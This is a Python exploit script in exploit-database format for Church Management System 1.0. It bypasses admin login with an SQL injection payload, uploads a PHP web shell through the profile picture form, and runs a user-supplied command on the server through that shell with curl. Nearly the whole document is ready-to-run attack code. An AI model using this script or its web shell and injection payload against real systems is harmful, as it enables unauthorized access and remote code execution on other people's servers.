# Exploit Title: Church Management System 1.0 - SQL Injection (Authentication Bypass) + Arbitrary File Upload + RCE
# Date: 05-07-2021
# Exploit Author: Eleonora Guardini (eleguardini93 at gmail dot com or eleonora.guardini at dedagroup dot com)
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/11206/church-management-system.html
# Version: 1.0
# Tested On: Ubuntu 18.04 with apache2 2.4.29 (Ubuntu)

import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder
import random
import os, sys
import argparse
import optparse
import string

if len(sys.argv)!=5:
    print('Usage: -u http://<ip> -c <"command">')
    print('ex. python3 http://192.168.1.2 -c "ls+-la"')
    exit()

parser = optparse.OptionParser()
parser.add_option('-u', '--url', action="store", dest="url")
parser.add_option('-c', '--cmd', action="store", dest="cmd")
options,args=parser.parse_args()

print(options.url, options.cmd)
print(len(sys.argv))

def randomGen(size=8, chars=string.ascii_lowercase):
    return ''.join(random.choice(chars) for _ in range(size))

urlbase=options.url+'/cman/admin';
loginUrl=urlbase+'/index.php';

shellFile=randomGen()+".php"

payload={"username":"test", "password":"' or 'a'='a'#", "login":""};

proxies = { "http": "http://localhost:8080"}

mp_encoder = MultipartEncoder(fields = {
    "image":(shellFile,"<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>","application/x-php"),
    "change":""})

session=requests.Session()
r=session.post(loginUrl, payload, allow_redirects=False) #, proxies=proxies)
cookie=r.headers["Set-Cookie"]

headers = {"Cookie": cookie, 'Content-Type':mp_encoder.content_type}

uploadUrl=urlbase+"/admin_pic.php"

post=session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)

os.system("curl " + urlbase + "/uploads/" + shellFile + "?cmd="+ options.cmd)